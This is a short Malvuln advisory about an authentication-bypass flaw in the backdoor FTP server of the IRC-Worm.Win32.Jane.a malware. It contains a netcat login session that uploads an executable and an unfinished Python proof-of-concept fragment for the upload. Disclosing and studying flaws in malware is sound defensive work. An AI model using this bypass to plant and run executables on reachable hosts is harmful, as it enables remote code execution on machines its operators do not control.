Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f.txt
Vulnerability: Authentication Bypass RCE
Description: The backdoor FTP server listens on TCP port 21, upon connecting the server responds with banner "JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )" making it easily identifiable. Adversaries, who can reach the infected host can logon using any arbitrary username password combination. Attackers may then upload executables using PASV, STOR commands which can result in remote code execution.
Vuln ID: MVID-2021-0151
nc64.exe 192.168.88.128 21
220 JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )
331 Password required for mal.
230 User mal logged in.
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,88,128,194,82).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
#Calculate Server Port 194*256+82 = 49746
f = open(DOOM, "rb")
EXE = f.read()
print("IRC-Worm.Win32.Jane.a / Auth Bypass RCE")
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